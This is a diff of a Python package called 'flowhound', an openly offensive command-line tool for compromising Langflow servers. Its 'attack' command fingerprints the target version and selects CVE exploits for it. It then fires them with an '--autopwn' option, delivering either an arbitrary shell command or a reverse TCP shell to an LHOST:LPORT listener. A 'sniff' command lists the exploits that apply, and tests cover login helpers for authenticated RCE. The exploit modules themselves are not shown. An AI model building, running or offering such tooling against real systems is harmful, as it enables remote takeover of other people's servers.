flowhound 1.0.1__py3-none-any.whl

flowhound/__main__.py

@@ -0,0 +1,28 @@
+import logging
+
+import click
+
+from flowhound.cli.command import attack, sniff
+from flowhound.cli.message_format import ClickLogHandler
+from flowhound.vulnerabilities.io.database import Database
+
+_logger = logging.getLogger("flowhound")
+_logger.setLevel(logging.INFO)
+if not _logger.handlers:
+    _logger.addHandler(ClickLogHandler())
+
+CONTEXT_SETTINGS = {"help_option_names": ["-h", "--help"]}
+
+
+@click.group(context_settings=CONTEXT_SETTINGS)
+@click.pass_context
+def main(ctx: click.Context):
+    ctx.ensure_object(dict)
+    ctx.obj = Database()
+
+
+main.add_command(attack)
+main.add_command(sniff)
+
+if __name__ == "__main__":
+    main()

flowhound/cli/banner.py

@@ -0,0 +1,45 @@
+from flowhound.cli.message_format import output_banner
+
+
+def banner():
+    output_banner("""
+███████╗██╗      ██████╗ ██╗    ██╗    ██╗  ██╗ ██████╗ ██╗   ██╗███╗   ██╗██████╗
+██╔════╝██║     ██╔═══██╗██║    ██║    ██║  ██║██╔═══██╗██║   ██║████╗  ██║██╔══██╗
+█████╗  ██║     ██║   ██║██║ █╗ ██║    ███████║██║   ██║██║   ██║██╔██╗ ██║██║  ██║
+██╔══╝  ██║     ██║   ██║██║███╗██║    ██╔══██║██║   ██║██║   ██║██║╚██╗██║██║  ██║
+██║     ███████╗╚██████╔╝╚███╔███╔╝    ██║  ██║╚██████╔╝╚██████╔╝██║ ╚████║██████╔╝
+╚═╝     ╚══════╝ ╚═════╝  ╚══╝╚══╝     ╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝╚═════╝
+
+                     Sniffing Insecure Langflow Deployments
+
+
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⣾⣿⣿⣶⣦⡀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
+⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠏
+⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠉
+⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
+⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
+⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⢟⣥⣶⣶⣶⣄⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
+⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣏⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
+⠀⠀⠀⠀⠀⠀⠀⠀⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
+⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
+⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
+⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁
+⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁
+⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉
+⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠛⠛⣿⣿⣿⠋
+⠀⠀⠀⠀⠀⣰⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿
+⠀⢀⣠⣤⣴⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣿⣿⣇
+⣴⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣷⡄
+⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿
+⢻⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⠃
+⠀⠙⢿⣿⣿⠿⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⡛⠁
+⠀⠀⠈⢿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⠿⠿⠆
+
+
+                         Every Flow Leaves Tracks.
+""")

flowhound/cli/command.py

@@ -0,0 +1,216 @@
+import logging
+from concurrent.futures import ThreadPoolExecutor
+from concurrent.futures import TimeoutError as FutureTimeoutError
+
+import click
+
+from flowhound.cli.banner import banner
+from flowhound.cli.validators import validate_proxy, validate_url
+from flowhound.vulnerabilities.io.database import Database
+from flowhound.vulnerabilities.io.version_detection import get_target_version
+from flowhound.vulnerabilities.payloads import PAYLOAD_MAP
+
+EXPLOIT_TIMEOUT = 60  # seconds before a single exploit attempt is abandoned
+logger = logging.getLogger(__name__)
+
+
+def _get_payload(cmd: str | None, reverse_shell: str | None):
+    payload = None
+
+    if cmd:
+        payload = PAYLOAD_MAP["command"](cmd=cmd)
+        logger.info(f"Using execute_bash_command payload: {cmd!r}")
+    elif reverse_shell:
+        try:
+            lhost, lport_str = reverse_shell.rsplit(":", 1)
+            lport = int(lport_str)
+        except ValueError:
+            raise click.BadParameter(
+                "--reverse_shell must be formatted as LHOST:LPORT (e.g. 192.168.1.10:4444)."
+            )
+
+        if not (1 <= lport <= 65535):
+            raise click.BadParameter("Port must be between 1 and 65535.")
+        payload = PAYLOAD_MAP["reverse_shell"](lhost=lhost, lport=lport)
+        logger.info(f"Using reverse_tcp_shell payload: {lhost}:{lport}")
+
+    return payload
+
+
+def _execute_exploit(
+    exploit_module,
+    base_url: str,
+    username: str,
+    password: str,
+    proxies: dict[str, str] | None,
+    payload,
+    timeout: int = EXPLOIT_TIMEOUT,
+) -> bool:
+    """
+    Executes an exploit module with a cross-platform timeout.
+    """
+    with ThreadPoolExecutor(max_workers=1) as executor:
+        future = executor.submit(
+            exploit_module.exploit,
+            base_url=base_url,
+            username=username,
+            password=password,
+            proxies=proxies,
+            payload=payload,
+        )
+        return future.result(timeout=timeout)
+
+
+@click.command(help="Launch one or more exploits against a Langflow instance.")
+@click.option(
+    "--url",
+    required=True,
+    help="URL of target Langflow instance",
+    callback=validate_url,
+)
+@click.option(
+    "--username", required=False, default="", help="Target Langflow instance username"
+)
+@click.option(
+    "--password", required=False, default="", help="Target Langflow instance password"
+)
+@click.option(
+    "--autopwn",
+    required=False,
+    is_flag=True,
+    default=False,
+    help="Launch all available exploits, instead of stopping at first successful attempt.",
+)
+@click.option(
+    "--proxy",
+    required=False,
+    default=None,
+    help="HTTP(s) proxy to use for network I/O operations",
+    callback=validate_proxy,
+)
+@click.option(
+    "--command",
+    "cmd",
+    required=False,
+    default=None,
+    help="Shell command to execute on the target (uses execute_bash_command payload).",
+)
+@click.option(
+    "--reverse_shell",
+    required=False,
+    default=None,
+    help="LHOST:LPORT for a reverse TCP shell payload (e.g. 192.168.1.10:4444).",
+)
+@click.pass_context
+def attack(
+    ctx: click.Context,
+    url: str,
+    username: str,
+    password: str,
+    autopwn: bool,
+    proxy: str,
+    cmd: str | None,
+    reverse_shell: str | None,
+):
+    banner()
+    db: Database = ctx.obj
+    has_credentials = False
+    logger.info("Checking target Langflow version.")
+
+    if cmd and reverse_shell:
+        raise click.UsageError("--command and --reverse_shell are mutually exclusive.")
+    if any([username, password]) and not all([username, password]):
+        raise click.BadParameter(
+            "`--username` and `--password` must be provided together."
+        )
+    elif username and password:
+        has_credentials = True
+        logger.warning(
+            "Langflow login credentials detected. Results will Include Auth RCE exploit modules."
+        )
+
+    proxies = {"http": proxy, "https": proxy} if proxy else None
+
+    # Determine payload to use
+    payload = _get_payload(cmd=cmd, reverse_shell=reverse_shell)
+
+    # Determine victim langflow version
+    try:
+        target_version = get_target_version(base_url=url, proxies=proxies)
+    except RuntimeError as e:
+        raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
+
+    # Determine vulns & corresponding exploit modules
+    try:
+        vuln_lst = db.retrieve_vulnerabilities(
+            target_version=target_version, is_auth=has_credentials
+        )
+    except Exception as e:  # noqa: BLE001
+        raise click.ClickException(f"Error retrieving exploits: {e!s}")
+
+    # Fire exploits
+    logger.info(
+        f"{len(vuln_lst)} exploit(s) detected. Prioritizing unauth RCE exploits."
+    )
+    for vuln in vuln_lst:
+        click.echo("")
+        logger.info(
+            f"Launching exploit for {vuln.cve_id} that impacts Langflow versions {vuln.min_impacted_version} through {vuln.max_impacted_version}"
+        )
+        exploit_module = vuln.get_exploit_instance()
+
+        try:
+            result = _execute_exploit(
+                exploit_module=exploit_module,
+                base_url=url,
+                username=username,
+                password=password,
+                proxies=proxies,
+                payload=payload,
+            )
+        except FutureTimeoutError:
+            logger.warning(
+                f"Exploit for {vuln.cve_id} timed out after {EXPLOIT_TIMEOUT}s. Skipping."
+            )
+            result = False
+
+        if not autopwn and result:
+            logger.info("Exploitation successful. Stopping at first attempt.")
+            break
+
+
+@click.command(help="Determine target Langflow version.")
+@click.option(
+    "--url",
+    required=True,
+    help="URL of target Langflow instance",
+    callback=validate_url,
+)
+@click.option(
+    "--proxy",
+    required=False,
+    default=None,
+    help="HTTP(s) proxy to use for network I/O operations",
+    callback=validate_proxy,
+)
+@click.pass_context
+def sniff(ctx: click.Context, url: str, proxy: dict[str, str] | None):
+    db: Database = ctx.obj
+
+    # Determine victim langflow version
+    logger.info("Checking target Langflow version.")
+    try:
+        target_version = get_target_version(base_url=url, proxies=proxy)
+    except RuntimeError as e:
+        raise click.ClickException(f"Error retrieving target Langflow version: {e!s}")
+
+    logger.info(f"Retrieving all known exploits for Langflow version {target_version}:")
+    try:
+        vuln_lst = db.retrieve_vulnerabilities(
+            target_version=target_version, is_auth=True
+        )
+    except Exception as e:  # noqa: BLE001
+        raise click.ClickException(f"Error retrieving exploits: {e!s}")
+
+    for vuln in vuln_lst:
+        logger.info(vuln.exploit_module)

flowhound/cli/message_format.py

@@ -0,0 +1,52 @@
+from __future__ import annotations
+
+import logging
+import sys
+from typing import ClassVar
+
+from click import echo, style
+
+
+class ClickLogHandler(logging.Handler):
+    """
+    Routes standard logging records to click.echo with custom styling and prefixes.
+    """
+
+    LEVEL_STYLES: ClassVar[dict] = {
+        logging.DEBUG: {"fg": "cyan", "prefix": "[-] "},
+        logging.INFO: {"fg": "blue", "prefix": "[+] "},
+        logging.WARNING: {"fg": "yellow", "prefix": "[!] "},
+        logging.ERROR: {"fg": "red", "prefix": "[!] "},
+        logging.CRITICAL: {"fg": "red", "prefix": "[CRITICAL] ", "bold": True},
+    }
+
+    EXPLOIT_LOGGER_PREFIX = "flowhound.vulnerabilities.exploits"
+
+    def emit(self, record: logging.LogRecord):
+        try:
+            msg = self.format(record)
+            config = self.LEVEL_STYLES.get(
+                record.levelno, {"fg": "blue", "prefix": "[+] "}
+            ).copy()
+            if record.levelno == logging.INFO and record.name.startswith(
+                self.EXPLOIT_LOGGER_PREFIX
+            ):
+                config["fg"] = "green"
+            prefix = config.pop("prefix", "")
+            err_stream = record.levelno >= logging.ERROR
+
+            echo(
+                style(f"{prefix}{msg}", **config),
+                file=sys.stderr if err_stream else sys.stdout,
+            )
+            if err_stream:
+                sys.stderr.flush()
+            else:
+                sys.stdout.flush()
+        except Exception:  # noqa: BLE001
+            self.handleError(record)
+
+
+def output_banner(msg: str):
+    echo(style(msg, fg="cyan"), file=sys.stdout)
+    sys.stdout.flush()

flowhound/cli/validators.py

@@ -0,0 +1,39 @@
+import re
+from urllib.parse import urlparse
+
+import click
+
+
+def validate_url(ctx, param, value) -> str:
+    try:
+        result = urlparse(value)
+    except Exception:  # noqa: BLE001
+        raise click.BadParameter(f"Malformed URL: {value}")
+
+    if not result.scheme in ("http", "https") or not bool(result.netloc):
+        raise click.BadParameter(f"Malformed URL: {value}")
+
+    return value
+
+
+def validate_proxy(ctx, param, value) -> dict | None:
+    if value is None:
+        return value
+
+    try:
+        result = urlparse(value)
+    except Exception:  # noqa: BLE001
+        raise click.BadParameter(f"Malformed URL: {value}")
+
+    if not result.scheme in ("http", "https") or not bool(result.netloc):
+        raise click.BadParameter(f"Malformed URL: {value}")
+
+    return {"http": value, "https": value}
+
+
+def validate_cve(ctx, param, value) -> str:
+    val_lowered = value.lower()
+    if value and not re.match("cve-\\d{4}-\\d{4,7}", val_lowered):
+        raise click.BadParameter("Must provide a correctly formatted CVE code.")
+
+    return val_lowered

flowhound/tests/test_base_exploit_class.py

@@ -0,0 +1,124 @@
+from unittest.mock import MagicMock, patch
+
+import pytest
+
+from flowhound.vulnerabilities.exploits.base_exploit_class import ExploitBaseClass
+
+# ---------------------------------------------------------------------------
+# Concrete stub — ExploitBaseClass is abstract
+# ---------------------------------------------------------------------------
+
+
+class ConcreteExploit(ExploitBaseClass):
+    def exploit(self, base_url, username, password, proxies=None, payload=None):
+        return True
+
+
+# ---------------------------------------------------------------------------
+# auto_login
+# ---------------------------------------------------------------------------
+
+
+def test_auto_login_success():
+    mock_resp = MagicMock()
+    mock_resp.status_code = 200
+    mock_resp.json.return_value = {"access_token": "test-token-abc"}
+
+    with patch(
+        "flowhound.vulnerabilities.exploits.base_exploit_class.get",
+        return_value=mock_resp,
+    ):
+        exploit = ConcreteExploit()
+        headers = exploit.auto_login(base_url="http://localhost:7860")
+
+    assert headers is not None
+    assert headers["Authorization"] == "Bearer test-token-abc"
+    assert headers["Content-Type"] == "application/json"
+
+
+def test_auto_login_non_200_returns_none():
+    mock_resp = MagicMock()
+    mock_resp.status_code = 403
+    mock_resp.json.return_value = {}
+
+    with patch(
+        "flowhound.vulnerabilities.exploits.base_exploit_class.get",
+        return_value=mock_resp,
+    ):
+        exploit = ConcreteExploit()
+        result = exploit.auto_login(base_url="http://localhost:7860")
+
+    assert result is None
+
+
+def test_auto_login_network_error_raises_runtime_error():
+    with patch(
+        "flowhound.vulnerabilities.exploits.base_exploit_class.get",
+        side_effect=ConnectionError("refused"),
+    ):
+        exploit = ConcreteExploit()
+        with pytest.raises(RuntimeError, match="Error querying API"):
+            exploit.auto_login(base_url="http://localhost:7860")
+
+
+# ---------------------------------------------------------------------------
+# authenticate
+# ---------------------------------------------------------------------------
+
+
+def test_authenticate_success():
+    mock_resp = MagicMock()
+    mock_resp.status_code = 200
+    mock_resp.json.return_value = {"access_token": "user-token-xyz"}
+
+    with patch(
+        "flowhound.vulnerabilities.exploits.base_exploit_class.post",
+        return_value=mock_resp,
+    ):
+        exploit = ConcreteExploit()
+        headers = exploit.authenticate(
+            base_url="http://localhost:7860", username="admin", password="secret"
+        )
+
+    assert headers is not None
+    assert headers["Authorization"] == "Bearer user-token-xyz"
+    assert headers["Content-Type"] == "application/json"
+
+
+def test_authenticate_non_200_returns_none():
+    mock_resp = MagicMock()
+    mock_resp.status_code = 401
+    mock_resp.json.return_value = {"detail": "Unauthorized"}
+
+    with patch(
+        "flowhound.vulnerabilities.exploits.base_exploit_class.post",
+        return_value=mock_resp,
+    ):
+        exploit = ConcreteExploit()
+        result = exploit.authenticate(
+            base_url="http://localhost:7860", username="admin", password="wrongpass"
+        )
+
+    assert result is None
+
+
+def test_authenticate_network_error_raises_runtime_error():
+    with patch(
+        "flowhound.vulnerabilities.exploits.base_exploit_class.post",
+        side_effect=ConnectionError("refused"),
+    ):
+        exploit = ConcreteExploit()
+        with pytest.raises(RuntimeError, match="Unable to authenticate with Langflow"):
+            exploit.authenticate(
+                base_url="http://localhost:7860", username="admin", password="secret"
+            )
+
+
+# ---------------------------------------------------------------------------
+# logger property
+# ---------------------------------------------------------------------------
+
+
+def test_logger_name_matches_module():
+    exploit = ConcreteExploit()
+    assert exploit.logger.name == ConcreteExploit.__module__